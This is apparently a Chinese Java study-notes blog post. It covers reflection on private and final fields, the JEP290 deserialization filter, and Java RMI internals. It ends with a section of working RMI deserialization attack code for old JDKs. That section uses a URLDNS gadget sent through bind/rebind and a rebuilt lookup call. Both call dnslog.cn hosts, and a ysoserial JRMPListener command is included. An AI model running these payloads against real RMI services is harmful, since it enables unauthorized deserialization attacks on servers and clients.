• Java学习笔记②


    java反射

    值的修改

    public等属性的值的修改很简单。但privatefinal的值修改有改变。

    比如修改下类的4个属性。

    1. class privateClass {
    2. private String privateField = "private value";
    3. private final String finalPrivateField = "final private value";
    4. private static String staticPrivateField = "static private value";
    5. private static final String finalStaticPrivateField = "final static private value";
    6. public String getPrivateField() {
    7. return privateField;
    8. }
    9. public String getFinalPrivateField() {
    10. return finalPrivateField;
    11. }
    12. public static String getStaticPrivateField() {
    13. return staticPrivateField;
    14. }
    15. public static String getFinalStaticPrivateField() {
    16. return finalStaticPrivateField;
    17. }
    18. }

    private

    1. Field privateField = cls.getDeclaredField("privateField");
    2. privateField.setAccessible(true);
    3. privateField.set(obj, "changed private value");
    4. System.out.println(obj.getPrivateField());

    修改private属性的值需要setAccessible(true)

    final

    1. Field finalPrivateField = cls.getDeclaredField("finalPrivateField");
    2. finalPrivateField.setAccessible(true);
    3. Field modifiers = Field.class.getDeclaredField("modifiers");
    4. modifiers.setAccessible(true);
    5. newModifiers = finalPrivateField.getModifiers() & ~Modifier.FINAL;
    6. modifiers.setInt(finalPrivateField, newModifiers);
    7. finalPrivateField.set(obj, "changed final private value");
    8. System.out.println(finalPrivateField.get(obj));
    9. System.out.println(obj.getFinalPrivateField());

    final的值无法直接修改,可以通过modifiers清除该属性的final关键字,然后再赋值。

    上例中的输出如下

    1. finalPrivateField.get(obj) --> changed final private value
    2. obj.getFinalPrivateField() --> final private value

    getFinalPrivateField的结果没有改变,这其实是编译器的锅。因为其设置为final,编译器优化getFinalPrivateField的代码为

    1. public String getFinalPrivateField() {
    2. return "final private value";
    3. }

    所以输出不变。

    static

    1. Field staticPrivateField = cls.getDeclaredField("staticPrivateField");
    2. staticPrivateField.setAccessible(true);
    3. staticPrivateField.set(null, "changed static private value");
    4. System.out.println(privateClass.getStaticPrivateField());

    static可以直接改,实例改为null

    ObjectInputStream

    本文参照以下网址学习:

    1. Java 反序列化之 readObject 分析 :https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/

    filterCheck

    filterCheck是在 JEP290 实现的一种防御机制。用于反序列化时,利用过滤器对反序列化类型进行过滤。

    当一个类反序列化时,会进入这里对类利用自定义的过滤器进行检查。

    我们这里使用以下代码进行测试:

    1. import sun.misc.ObjectInputFilter;
    2. import java.io.ByteArrayInputStream;
    3. import java.io.ByteArrayOutputStream;
    4. import java.io.ObjectInputStream;
    5. import java.io.ObjectOutputStream;
    6. import java.security.PrivilegedAction;
    7. import java.util.HashMap;
    8. public class test {
    9. public static void main(String[] args) throws Exception {
    10. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    11. HashMap hm = new HashMap();
    12. hm.put("name", "afkl");
    13. ObjectOutputStream oos = new ObjectOutputStream(baos);
    14. oos.writeObject(hm);
    15. oos.flush();
    16. oos.close();
    17. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    18. ObjectInputStream ois = new ObjectInputStream(bais);
    19. // 利用特权模式指定对应ObjectInputStream对象的Filter
    20. java.security.AccessController.doPrivileged((PrivilegedAction) () -> {
    21. ObjectInputFilter.Config.setObjectInputFilter(ois, filter::testFilter);
    22. return null;
    23. });
    24. Object obj = ois.readObject();
    25. System.out.println(obj.toString());
    26. }
    27. static class filter {
    28. public static ObjectInputFilter.Status testFilter(ObjectInputFilter.FilterInfo filterInfo) {
    29. // 获取传入的Class类型
    30. Class cls = filterInfo.serialClass();
    31. // 对传入的Class类型进行检查
    32. if (cls == HashMap.class) {
    33. System.out.println("wow");
    34. return ObjectInputFilter.Status.REJECTED;
    35. }
    36. return ObjectInputFilter.Status.ALLOWED;
    37. }
    38. }
    39. }
    40. /*
    41. 输出:
    42. wow
    43. 七月 22, 2021 11:25:29 下午 java.io.ObjectInputStream filterCheck
    44. INFO: ObjectInputFilter REJECTED: class java.util.HashMap, array length: -1, nRefs: 1, depth: 1, bytes: 61, ex: n/a
    45. Exception in thread "main" java.io.InvalidClassException: filter status: REJECTED
    46. at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1452)
    47. at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2117)
    48. at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1971)
    49. at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2281)
    50. at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1788)
    51. at java.io.ObjectInputStream.readObject(ObjectInputStream.java:586)
    52. at java.io.ObjectInputStream.readObject(ObjectInputStream.java:496)
    53. at test.main(test.java:30)
    54. */

    ObjectInputFilter.Status 一共有三种类型

    1. enum Status {
    2. UNDECIDED, // 不确定,但不会报错打断执行
    3. ALLOWED, // 通过
    4. REJECTED; // 不通过,会报错打断当前的反序列化
    5. }

    在调用特权模式时,调用栈如下:

    1. setInternalObjectInputFilter:1417, ObjectInputStream (java.io)
    2. access$000:222, ObjectInputStream (java.io)
    3. setObjectInputFilter:295, ObjectInputStream$1 (java.io)
    4. setObjectInputFilter:298, ObjectInputFilter$Config (sun.misc)
    5. lambda$main$0:26, test
    6. run:-1, 000000000000000000 (test$$Lambda$4)
    7. doPrivileged:678, AccessController (java.security)
    8. main:25, test

    首先进入ObjectInputFilter$ConfigsetObjectInputFilter方法。

    1. public static void setObjectInputFilter(ObjectInputStream inputStream, ObjectInputFilter filter) {
    2. Objects.requireNonNull(inputStream, "inputStream");
    3. sun.misc.SharedSecrets.getJavaOISAccess().setObjectInputFilter(inputStream, filter);
    4. }

    getJavaOISAccess里取出了ObjectInputStream在静态代码块定义的一个匿名对象。

    随后进入该匿名对象的setObjectInputFilter方法。再次调用实例的setInternalObjectInputFilter方法

    最后为serialFilter赋值。

    RMI

    rmi架构

    Client

    1. public class RMIClient {
    2. public static void main(String[] args) {
    3. try {
    4. Registry reg = LocateRegistry.getRegistry(9999);
    5. // 这里reg获取的是RegistryImpl_Stub对象
    6. Object obj = reg.lookup("calc");
    7. System.out.println(obj.toString());
    8. calcImpl calc = (calcImpl) obj;
    9. calc.add(1, 1);
    10. } catch (Exception e) {
    11. e.printStackTrace();
    12. }
    13. }
    14. }

    Clientlookupbindrebind等操作均在RegistryImpl_Stub类内定义。这些操作都是使用opnum来进行识别。如下展示的lookup流程(仅展示部分重要代码)

    1. // 创建一个新的远程通信,重要的是那个2,2是lookup流程的操作数(opnum)
    2. StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 2, interfaceHash);
    3. try {
    4. // 获取输出流,并写入string来获取希望的对象。
    5. java.io.ObjectOutput out = call.getOutputStream();
    6. out.writeObject($param_String_1);
    7. } catch (java.io.IOException e) {
    8. throw new java.rmi.MarshalException("error marshalling arguments", e);
    9. }
    10. ref.invoke(call); // 其内部调用 call.executeCall 执行一次远程通信
    11. java.rmi.Remote $result;
    12. try {
    13. // 获取输入流,并反序列化输入流
    14. java.io.ObjectInput in = call.getInputStream();
    15. $result = (java.rmi.Remote) in.readObject();
    16. } catch (ClassCastException | IOException | ClassNotFoundException e) {
    17. call.discardPendingRefs();
    18. throw new java.rmi.UnmarshalException("error unmarshalling return", e);
    19. } finally {
    20. ref.done(call); // 释放远程通信
    21. }
    22. return $result;

    其它的操作大体相同,大致流程都为:

    根据操作数获取远程通信->序列化并发送操作需要的参数->获得回复并处理->释放远程通信

    上例获取的obj是一个动态代理对象,获取的obj是一个动态代理对象,其处理器为RemoteObjectInvocationHandlercalcobj转换成对应接口的对象。假设calc调用接口中对应的方法,因为其实际为代理类,所以会调用到RemoteObjectInvocationHandlerinvoke方法中。

    1. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    2. if (! Proxy.isProxyClass(proxy.getClass())) {
    3. throw new IllegalArgumentException("not a proxy"); // 是否是代理类
    4. }
    5. if (Proxy.getInvocationHandler(proxy) != this) {
    6. throw new IllegalArgumentException("handler mismatch"); // 是否实现InvocationHandler接口
    7. }
    8. if (method.getDeclaringClass() == Object.class) { // 调用的方法的声明在Object里的话
    9. return invokeObjectMethod(proxy, method, args); // 直接去调用Object类里的方法
    10. } else if (
    11. "finalize".equals(method.getName()) &&
    12. method.getParameterCount() == 0 &&
    13. !allowFinalizeInvocation)
    14. {
    15. return null; // ignore
    16. } else {
    17. return invokeRemoteMethod(proxy, method, args); // 其它情况调用远程对象
    18. }
    19. }

    跟进至invokeRemoteMethod,其主要代码如下图:

    开始会检测对应的代理对象是否是Remote的实例,其中Remote是一个空的接口。如果proxy不是Remote的实例,即没有实现Remote接口的话,便会抛出报错。代理对象是Remote的实例有两种情况(可能更多)。

    1. // 1. 接口直接继承Remote接口
    2. interface testImpl extends Remote {
    3. public int add(int a, int b);
    4. }
    5. // 2. 接口的实现类同时继承Remote接口
    6. class testImplHandler1 implements testImpl, Remote {
    7. @Override
    8. public int add(int a, int b) {
    9. return a + b;
    10. }
    11. }

    第二个是查看对应方法的声明类是否是Remote的超类。不是的话直接抛错。

    最后调用ref.invoke,其中refUnicastRef类的实例。其对应的重要代码如下:

    1. {...}
    2. Connection conn = ref.getChannel().newConnection(); // 获取TCP链接
    3. RemoteCall call = null;
    4. boolean reuse = true;
    5. {...}
    6. call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum); // 获取以流为基础的远程通信
    7. {...}
    8. ObjectOutput out = call.getOutputStream(); // 获取输出流
    9. marshalCustomCallData(out); // 空方法
    10. // 获取调用方法的参数的类型
    11. Class[] types = method.getParameterTypes();
    12. for (int i = 0; i < types.length; i++) {
    13. marshalValue(types[i], params[i], out); // 序列化对应值
    14. }
    15. {...}
    16. call.executeCall(); // 执行远程调用
    17. {...}
    18. Class rtype = method.getReturnType(); // 获取方法的返回值
    19. if (rtype == void.class) // void返回null
    20. return null;
    21. ObjectInput in = call.getInputStream(); // 获取输入流
    22. Object returnValue = unmarshalValue(rtype, in); // 反序列化远程调用返回的序列化值
    23. {...}
    24. ref.getChannel().free(conn, true); // 释放TCP链接
    25. {...}
    26. return returnValue;

    Server & Registery

    1. import calc.calcRemote; // 一个普通的类实现
    2. import java.rmi.registry.LocateRegistry;
    3. import java.rmi.registry.Registry;
    4. public class RMIServer {
    5. public static void main(String[] args) {
    6. try {
    7. Registry reg = LocateRegistry.createRegistry(9999);
    8. // 这里reg获取到的是RegistryImpl对象
    9. reg.bind("calc", new calcRemote());
    10. } catch (Exception e) {
    11. e.printStackTrace();
    12. }
    13. }
    14. }

    当收到Client的请求时,Server会调用RegistryImpl_Skeldispatch方法。通过魔数来switch选择调用方法。

    1. public void dispatch(java.rmi.Remote obj, java.rmi.server.RemoteCall remoteCall, int opnum, long hash)
    2. throws java.lang.Exception {
    3. if (opnum < 0) {...} else {...}
    4. sun.rmi.registry.RegistryImpl server = (sun.rmi.registry.RegistryImpl) obj;
    5. StreamRemoteCall call = (StreamRemoteCall) remoteCall;
    6. switch (opnum) {
    7. case 0: // bind(String, Remote)
    8. {...}
    9. case 1: // list()
    10. {...}
    11. case 2: // lookup(String)
    12. {...}
    13. case 3: // rebind(String, Remote)
    14. {...}
    15. case 4: // unbind(String)
    16. {..}
    17. default:
    18. throw new java.rmi.UnmarshalException("invalid method number");
    19. }
    20. }

    对于lookup请求,服务器最后会调用至UnicastServerRefdispatch方法。

    较为重要的代码片段如下。

    1. MarshalInputStream marshalStream = (MarshalInputStream) in; // 获取输入流
    2. marshalStream.skipDefaultResolveClass();
    3. Method method = hashToMethod_Map.get(op); // 通过hash在hashmap中获取方法
    4. if (method == null) { // 没有对应方法就报错
    5. throw new UnmarshalException("unrecognized method hash: " +
    6. "method not supported by remote object");
    7. }
    8. // unmarshal parameters
    9. Object[] params = null;
    10. try {
    11. unmarshalCustomCallData(in);
    12. // 反序列化参数,调用 UnicastRef::unmarshalValue 方法
    13. params = unmarshalParameters(obj, method, marshalStream);
    14. } catch (Exception e) {
    15. // ...
    16. } finally {
    17. call.releaseInputStream(); // 释放连接
    18. }
    19. // make upcall on remote object
    20. Object result;
    21. try {
    22. result = method.invoke(obj, params); // 调用对应的方法
    23. } catch (InvocationTargetException e) {
    24. throw e.getTargetException();
    25. }
    26. // marshal return value
    27. try {
    28. ObjectOutput out = call.getResultStream(true);
    29. Class rtype = method.getReturnType();
    30. if (rtype != void.class) {
    31. marshalValue(rtype, result, out); // 序列化调用结果
    32. }
    33. } catch (IOException ex) {
    34. // ...
    35. } finally {
    36. call.releaseInputStream(); // in case skeleton doesn't
    37. call.releaseOutputStream();
    38. }

    marshalValueunmarshalValue会分别进行序列化和反序列化。这两个方法在客户端和服务端都会出现。

    攻击方法

    jdk-8u121以下版本

    Server 攻击 注册中心

    注册中心代码如下

    1. import java.rmi.registry.LocateRegistry;
    2. import java.rmi.registry.Registry;
    3. public class RMIServer {
    4. public static void main(String[] args) {
    5. try {
    6. Registry reg = LocateRegistry.createRegistry(9999);
    7. } catch (Exception e) {
    8. e.printStackTrace();
    9. }
    10. }
    11. }

    Server

    1. import java.io.IOException;
    2. import java.io.Serializable;
    3. import java.lang.reflect.Field;
    4. import java.lang.reflect.InvocationHandler;
    5. import java.lang.reflect.Method;
    6. import java.lang.reflect.Proxy;
    7. import java.net.InetAddress;
    8. import java.net.URL;
    9. import java.net.URLConnection;
    10. import java.net.URLStreamHandler;
    11. import java.rmi.Remote;
    12. import java.rmi.registry.LocateRegistry;
    13. import java.rmi.registry.Registry;
    14. import java.util.HashMap;
    15. import java.util.Map;
    16. public class RMIClient {
    17. public static void main(String[] args) {
    18. try {
    19. Registry reg = LocateRegistry.getRegistry(9999);
    20. Remote obj = getEvilCalc();
    21. // rebind或者bind 触发反序列化
    22. reg.rebind("calc", obj);
    23. System.out.println("ok");
    24. } catch (Exception e) {
    25. e.printStackTrace();
    26. }
    27. }
    28. private static Remote getEvilCalc() throws Exception {
    29. // ----URLDNS gadget----
    30. String url = "http://9ragt0.dnslog.cn";
    31. URLStreamHandler ush = new SilentURLStreamHandler();
    32. HashMap ht = new HashMap();
    33. URL u = new URL(null, url, ush);
    34. ht.put(u, url);
    35. Class cls = u.getClass();
    36. Field hc = cls.getDeclaredField("hashCode");
    37. hc.setAccessible(true);
    38. hc.setInt(u, -1);
    39. // ----URLDNS gadget----
    40. // 利用jdk原生代理使payload对象动态实现Remote接口
    41. InvocationHandlerImpl handler = new InvocationHandlerImpl(ht);
    42. Remote exp = (Remote)Proxy.newProxyInstance(
    43. handler.getClass().getClassLoader(),
    44. new Class[]{Remote.class},
    45. handler
    46. );
    47. return exp;
    48. }
    49. static class SilentURLStreamHandler extends URLStreamHandler {
    50. protected URLConnection openConnection(URL u) throws IOException {
    51. return null;
    52. }
    53. protected synchronized InetAddress getHostAddress(URL u) {
    54. return null;
    55. }
    56. }
    57. static class InvocationHandlerImpl implements InvocationHandler, Serializable {
    58. protected Map map;
    59. public InvocationHandlerImpl(Map map) {
    60. this.map = map;
    61. }
    62. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    63. return null;
    64. }
    65. }
    66. }
    客户端 攻击 注册中心

    在低版本中,注册中心的lookup方法使用了readObject。所以client可以通过lookup攻击注册中心。

    因为通过LocateRegistry.getRegistry方法得到的RegistryImpl_Stub对象的lookup方法只支持传入字符串。所以这里重新实现lookup方法传入恶意对象。

    攻击代码如下

    1. public class RMIClient {
    2. public static void main(String[] args) {
    3. try {
    4. Registry reg = LocateRegistry.getRegistry(9999);
    5. CAttackR.CustomCallRegistry(reg, getEvilObject("http://d2iutj.dnslog.cn"));
    6. } catch (Exception e) {
    7. e.printStackTrace();
    8. }
    9. }
    10. public static Remote getEvilObject(String url) throws Exception {
    11. // URLDNS payload
    12. }
    13. }
    1. public class CAttackR {
    2. public static void CustomCallRegistry(Registry reg_stub, Object evilObj) throws Exception {
    3. //===获取一些常量方便下面的调用===
    4. Field FieldRef = reg_stub.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
    5. FieldRef.setAccessible(true);
    6. UnicastRef ref = (UnicastRef)FieldRef.get(reg_stub);
    7. Field FieldOperations = reg_stub.getClass().getDeclaredField("operations");
    8. FieldOperations.setAccessible(true);
    9. Operation[] operations = (Operation[])FieldOperations.get(reg_stub);
    10. //===获取一些常量方便下面的调用===
    11. // 模拟lookup过程
    12. StreamRemoteCall call = (StreamRemoteCall)ref.newCall(
    13. (RemoteObject) reg_stub,
    14. operations,
    15. 2,
    16. 4905912898345647071L
    17. );
    18. java.io.ObjectOutput out = call.getOutputStream();
    19. out.writeObject(evilObj);
    20. ref.invoke(call);
    21. }
    22. }

    在高版本中,lookupreadObject替换为readString。上面的方法就用不了了。

    客户端 与 服务器 的相互攻击

    因为marshalValueunmarshalValue两个方法的都会在clientServer中调用。所以两者之间是可以相互攻击的。

    当然,这种攻击对两者之间共同使用的接口有很大关系。

    • 对于C攻击S,需要远程接口的一个方法含有Object类型的参数。
    • 对于S攻击C,需要远程接口的返回值为Object类型。
    注册中心 攻击 服务器 和 客户端

    使用yso启动一个JRMP的恶意服务器。只要C或者S获取此服务器的注册中心,并执行rmi的动作(list / unbind / lookup / rebind / bind)就会被反序列化攻击。

    1. java.exe -cp yso.jar ysoserial.exploit.JRMPListener 7777 URLDNS "http://jb7uvs.dnslog.cn"
    2. * Opening JRMP listener on 7777
    3. Have connection from /169.254.17.51:3916
    4. Reading message...
    5. Sending return with payload for obj [0:0:0, 0]
    6. Closing connection
    1. public class RMIClient {
    2. public static void main(String[] args) {
    3. try {
    4. Registry reg = LocateRegistry.getRegistry(7777);
    5. calcInterface obj = (calcInterface) reg.lookup("calc");
    6. obj.add(1, 2);
    7. } catch (Exception e) {
    8. e.printStackTrace();
    9. }
    10. }
    11. }
  • 相关阅读:
    OpenCV官方教程中文版 —— 图片属性
    linux常用小知识点记录
    Linux进程间通信
    【python笔记】第十一节 生成器和迭代器
    6G智能全连接网络架构
    SRAM与DRAM的区别
    C++之map如何实例化类对象(一百九十九)
    CF1781F Bracket Insertion(2700*) 题解(括号匹配DP)
    2.3.1 协程设计原理与汇编实现
    机器学习作业-交通流量预测综述
  • 原文地址:https://blog.csdn.net/why811/article/details/133268808